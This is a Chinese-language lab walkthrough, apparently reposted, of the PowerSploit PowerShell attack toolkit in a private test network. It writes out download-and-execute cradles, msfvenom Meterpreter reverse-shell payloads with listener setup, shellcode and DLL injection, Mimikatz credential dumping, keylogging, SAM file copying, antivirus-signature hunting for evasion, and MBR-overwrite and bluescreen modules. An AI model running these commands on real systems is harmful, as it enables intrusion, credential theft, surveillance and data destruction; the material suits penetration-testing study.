powersploit的用法


一、PowerSploit簡介

PowerSploit是GitHub上面的一個安全項目,上面有很多powershell攻擊腳本,它們主要被用來滲透中的信息偵察、權限提升、權限維持。

Powershell的優點:

1.代碼運行在內存中可以不去接觸磁盤

2.從另一個系統中下載代碼並執行

3.很多安全產品並不能監測到powershell的活動

4.cmd.exe通常被阻止運行,但是powershell不會

二、實驗環境

Win7 搭建powersploit站點  ip:10.10.10.187

Win 2008(靶機) 遠程加載位於win7的powersploit上的腳本  ip:10.10.10.183

Kali powersploit部分腳本可能需要kali msf的配合  ip:10.10.10.128

三、搭建站點

1.首先在win7搭建簡易可下載powersploit腳本的服務器,本例用python的web功能搭建一個站點,也可以用IIS以及apache等來搭建。

Python  -m http.server 80   #注意是python3.7的命令,不同版本可能開啟web服務的命令可能不同。

  

2.在靶機(win 2008)上測試

 

四、powershell腳本分類以及功能

一、AntivirusBypass(繞過殺毒)

Find-AVSignature   發現殺軟的簽名

二、CodeExecution(代碼執行)

1.  Invoke-DllInjection.ps1  DLL注入腳本 注意dll架構要與目標進程相符,同時要具備相應的權限

2. Invoke-ReflectivePEInjection.ps1   反射型注入 將Windows PE文件(DLL / EXE)反射加載到powershell進程中,或反射地將DLL注入遠程進程

3. Invoke-Shellcode.ps1   將shellcode插入您選擇的進程ID或本地PowerShell中

4. Invoke-WmiCommand.ps1  在目標主機使用wmi執行命令

三、Exfiltration(信息收集)    #這個文件夾主要是收集目標主機上的信息

1. Out-Minidump.ps1              生成一個進程的全內存小數據庫

2. Get-VaultCredential.ps1 顯示Windows徽標憑據對象,包括明文Web憑據

3. Get-Keystrokes.ps1       記錄按鍵,時間和活動窗口

4. Get-GPPPassword.ps1          檢索通過組策略首選項推送的帳戶的明文密碼和其他信息

5. Get-GPPAutologon.ps1        如果通過組策略首選項推送,則從registry.xml檢索自動登錄用戶名和密碼

6. Get-TimedScreenshot.ps1    這是一個以定期間隔拍攝屏幕並將其保存到文件夾的功能

7. Invoke-Mimikatz.ps1            查看主機密碼

8. Invoke-NinjaCopy.ps1          通過讀取原始卷並解析NTFS結構,從NTFS分區卷復制文件

9. Invoke-CredentialInjection.ps1    使用明文憑據創建登錄,而不會觸發可疑事件ID 4648(顯式憑證登錄)

10. Invoke-TokenManipulation.ps1         列出可用的登錄令牌。與其他用戶創建進程登錄令牌,並模仿當前線程中的登錄令牌

11. Get-MicrophoneAudio.ps1        通過麥克風記錄聲音

12. VolumeShadowCopyTools.ps1         

四、Recon(信息偵察)   #這個文件夾主要是以目標主機為跳板進行內網主機偵察

1. Invoke-Portscan.ps1   端口掃描

2. Get-HttpStatus.ps1      返回指定路徑的HTTP狀態代碼和完整URL,並附帶字典文件

3. Invoke-ReverseDnsLookup.ps1  掃描DNS PTR記錄的IP地址范圍

4. PowerView.ps1       PowerView是一系列執行網絡和Windows域枚舉和利用的功能

5.Get-ComputerDetails   獲得登錄信息

五、ScriptModification(腳本修改)

1. Out-EncodedCommand.ps1    將腳本或代碼塊編碼,並為PowerShell有效載荷腳本生成命令行輸出

2. Out-EncryptedScript.ps1   加密文本文件/腳本

3. Out-CompressedDll.ps1   壓縮,Base-64編碼,並輸出生成的代碼,以將受管理的DLL加載到內存中

4. Remove-Comments.ps1       從腳本中刪除注釋和多余的空白

六、Persistence(權限維持)

1. New-UserPersistenceOption  為添加持久性函數配置用戶級持久性選項。

2. New-ElevatedPersistenceOption   為添加持久性函數配置提升的持久性選項。

3. Add-Persistence    向腳本添加持久性功能

4. Install-SSP        安裝安全支持提供程序(ssp)dll

5. Get-SecurityPackages

七、Privesc(提權)

PowerUP: 共同特權升級檢查的信息交換所,以及一些武器化載體

Get-System

八、Mayhem

Set-MasterBootRecord   選擇的消息覆寫主引導記錄

Set-CriticalProcess  退出powershell時使系統藍屏

五、開始實驗

 一、AntivirusBypass(繞過殺毒) 

Find-AVSignature  發現殺軟的簽名

1、先在靶機(windows 2008)上遠程加載位於win7的Invoke-Shellcode.ps1腳本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/AntivirusBypass/Find-AVSignature.ps1")

  

2、運行腳本,這里以之前的msf.exe反彈馬為例  注意:本例把偏移量划分的不太合適,有興趣自己慢慢划分,文件的偏移量范圍本例使用winhex查看的。  

Find-AVSignature -StartByte 0 -EndByte 220000 -Interval 110000 -Path C:\Users\Administrator.WIN2008\Desktop\msf.exe -OutPath C:\Users\Administrator.WIN2008\Desktop\test\run2 -Verbose

  

3、 上圖生成3個文件,然后把每個文件用在線病毒測試網站測試一下(這里推薦使用http://www.virscan.org/),看看病毒在哪個文件,然后再把有病毒的那個文件繼續划分偏移量范圍生成新的文件,然后繼續再病毒測試網站測試,直到最終確定病毒的特征碼范圍。

  

 

  

二、CodeExecution(代碼執行)

Shellcode注入:

1、先在靶機(windows 2008)上遠程加載位於win7的Invoke-Shellcode.ps1腳本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1")

get-help Invoke-Shellcode

  

2、在kali中使用msfvenom生成一個powershell反彈馬

msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.10.10.128 lport=4444 -f powershell -o /var/www/test

  

3、在msf中設置監聽(windows/x64/meterpreter/reverse_https模塊進行反彈)並開啟監聽

use exploit/multi/handler   #使用監聽模塊

set payload windows/x64/meterpreter/reverse_https     #設置一個payload

     

  

4、把剛才使用msfvenom生成的powershell腳本復制到靶機(windows 2008)

5、靶機(windows 2008)加載shellcode    #注意這里的shellcode為在kali用msfvenom生成的一個powershell腳本,打開內容,取變量$buf的值

Invoke-Shellcode -Shellcode @()    #可以查看幫助文檔,其中有一個例子這個的用法

  

 

   

6、kali中運行監聽之后就可以看到得到靶機(windows 2008)的一個meterpreter的shell,說明成功控制靶機

  

7、也可以把使用Invoke-Shellcode腳本進行進程注入到別的進程(這里以explorer的3508為例)

  

DLL

首先我們需要知道我們在啟動一個程序的時候並沒有把所有的需要用到的數據或者文件運行起來,而是只運行了關鍵部分,那么當我們需要調用到某一功能時再通過DLL來動態鏈接,不需要時就可以卸載,使得程序不顯得臃腫。

DLL注入就是將代碼插入/注入到正在運行的進程中的過程。我們注入的代碼是動態鏈接庫(DLL)的形式。為什么可以做到這一點?因為DLL是在運行時根據需要來進行加載

注意:對某些進程的注入需要一定的權限

Dll注入:

可以利用powersploit將dll文件注入到當前進程中,但是dll文件必須在目標主機上。

1.先在靶機(windows 2008)上遠程加載位於win7的Invoke-DllInjection.ps1腳本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-DllInjection.ps1")

  

2.kali利用msfvenom生成一個dll反彈馬

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.10.128 lport=4444 -f dll -o /var/www/msf.dll

  

3.在msf中設置監聽(windows/x64/meterpreter/reverse_tcp模塊進行反彈)並開啟監聽

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

  

4.把剛才生成的msf.dll文件拷貝到靶機(windows 2008),然后在windows 2008上運行powershll腳本

Invoke-DllInjection -ProcessID 464 -Dll C:\Users\Administrator.WIN2008\Desktop\msf.dll

  

5.kali msf中運行監聽,就可以看到windows 2008反彈過來一個session

  

6.也可以開啟一個隱藏進程並注入dll

   

Invoke-ReflectivePEInjection  反射型PE注入

1、先在靶機(windows 2008)上遠程加載位於win7 Invoke-ReflectivePEInjection腳本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-ReflectivePEInjection.ps1")

  

2、kali中利用msfvenom生成一個exe反彈馬並對木馬進行多次編碼

msfvenom -p windows/x64/meterpreter_reverse_tcp -e -i 3 lhost=10.10.10.128 lport=4444 -f exe -o /var/www/msf.exe

  

3、在kali msf中設置監聽(windows/x64/meterpreter_reverse_tcp)並開啟監聽

  

4、把在kali中生成的exe木馬復制到靶機,在靶機(windows 2008)執行腳本

$PEBytes = [IO.File]::ReadAllBytes('C:\Users\Administrator.WIN2008\Desktop\msf.exe')

Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR

  

5、這時在kali端就能看到一個windows 2008反彈過來的session

  

三、Recon(信息偵察)

Invoke-Portscan  端口掃描

1、先在靶機(windows 2008)上遠程加載位於win7 Invoke-Portscan.ps1腳本

  

2、開始端口掃描,這里以掃描一個ip字典為例,別的參數,可以查看幫助文檔

  

Invoke-ReverseDnsLookup 反向DNS查詢

1、 先在靶機(windows 2008)上遠程加載位於win7 Invoke-ReverseDnsLookup腳本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Recon/Invoke-ReverseDnsLookup.ps1")

  

1、 運行腳本查找特定的ip的主機名,下圖可以看到查找ip對應的主機名

Invoke-ReverseDnsLookup "10.10.10.128,10.10.10.183,10.10.10.187" | fl IP,HostName

  

Get-HttpStatus 網站目錄檢測

1、先在靶機(windows 2008)上遠程加載位於win7 Get-HttpStatus腳本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Recon/Get-HttpStatus.ps1")

   

2、 自己創建一個字典,運行腳本,下圖可以看到status狀態是ok說明目標存在那個網站目錄。

  

Get-ComputerDetails 獲得主機登錄信息

1、 先在靶機(windows 2008)上遠程加載位於win7 Get-ComputerDetails腳本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Recon/Get-ComputerDetails.ps1")

  

2、 運行腳本Get-ComputerDetails,看到如下效果,有報錯,不知道什么原因,難道powerspolit大神異常處理沒考慮完全?

  

四、Exfiltration(信息收集)   #這個文件夾主要是收集目標主機上的信息

Invoke-Mimikatz 查看主機密碼(需要管理員權限)

1、先在靶機(windows 2008)上遠程加載位於win7 Invoke-Mimikatz腳本,並運行腳本查看密碼

       iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Invoke-Mimikatz.ps1")

  

Get-Keystrokes  鍵盤記錄(詳細的鼠標鍵盤記錄)

1、先在靶機(windows 2008)上遠程加載位於win7 Get-Keystrokes腳本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Get-Keystrokes.ps1")

  

2、運行Get-Keystrokes,並把記錄結果保存到一個文件

  

Invoke-NinjaCopy  超級復制(需要管理員權限,可以復制受保護的運行中的系統文件)

1、先在靶機(windows 2008)上遠程加載位於win7 Invoke-NinjaCopy腳本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Invoke-NinjaCopy.ps1")

get-help Invoke-NinjaCopy

  

2、運行腳本,把SAM文件復制一份到別處,下圖可以看到成功復制一份SAM文件,注意普通復制不能復制系統限制的文件。

Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "C:\Users\Administrator\Desktop\SAM"

  

3、用普通復制測試一下,看看能否復制SAM文件,下圖可以看到普通復制無法復制SAM,因為系統對SAM文件進行保護,只要進程一開啟(系統開機自動運行關於SAM文件的進程並且無法停止掉進程),別的程序或者進程就無法訪問SAM文件。

  

Get-TimedScreenshot  屏幕記錄

1.先在靶機(windows 2008)上遠程加載位於win7 Get-TimedScreenshot腳本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Get-TimedScreenshot.ps1")

  

2.運行腳本,在test文件夾中可以看到抓取屏幕的圖片

Get-TimedScreenshot -Path c:\test\ -Interval 10 -EndTime 23:20

  

3.Get-MicrophoneAudio   通過麥克風記錄聲音,與Get-TimedScreenshot(屏幕記錄)方法一樣,這里不再測試

Invoke-CredentialInjection

1.先在靶機(windows 2008)上遠程加載位於win7 Invoke-TokenManipulation腳本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Invoke-TokenManipulation.ps1")

  

2.Invoke-TokenManipulation -Enumerate  枚舉唯一 可用的令牌 別的例子自己查看幫助

  

五、ScriptModification 腳本修改

Out-CompressedDll   將dll壓縮並base64編碼

1.先在靶機(windows 2008)上遠程加載位於win7 Out-CompressedDll腳本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/Out-CompressedDll.ps1")

  

2.運行腳本 Out-CompressedDll -FilePath C:\Users\Administrator.WIN2008\Desktop\msf.dll

  

Out-EncodedCommand   將腳本或代碼塊編碼

1.先在靶機(windows 2008)上遠程加載位於win7 Out-EncodedCommand腳本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/ Out-EncodedCommand .ps1")

  

2. 腳本塊編碼

  

3.腳本編碼

  

Out-EncryptedScript   腳本加密

1.先在靶機(windows 2008)上遠程加載位於win7 Out-EncryptedScript腳本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/ Out-EncryptedScript .ps1")

  

2.給腳本加密

  

Remove-Comments   刪除注釋和不必要的空白符

1.先在靶機(windows 2008)上遠程加載位於win7 Remove-Comments腳本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/ Remove-Comments .ps1")

  

2.運行腳本,刪除代碼塊中的空白和注釋以及腳本中的空白和注釋

       

六、Mayhem

1.首先查看Mayhem幫助說明文檔,可以看到說明文檔使用Mayhem模塊需要先將Mayhem放到C:\Windows\System32\WindowsPowerShell\v1.0\Modules下,然后需要導入模塊

  

2.將Mayhem放到相應的位置之后,便開始導入模塊,以及查看命令幫助

Import-Module Mayhem

Get-Command -Module Mayhem

  

3.開始使用命令

3.1Set-CriticalProcess  退出powershell時使系統藍屏

  

3.2退出powershell測試是否藍屏,下圖可以看到藍屏了

  

3.3 Set-MasterBootRecord  覆寫主引導記錄,本次實驗並沒有成功

  

 

 

你的點贊就是對作者最大的感謝,由於作者水平有限,難免會出現問題,請指出,大家共同進步,有好的相關文章也請推薦下,共同學習。

------------------------------------------------------------------------------------------------------------------

本文部分參考:https://www.anquanke.com/post/id/89362


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM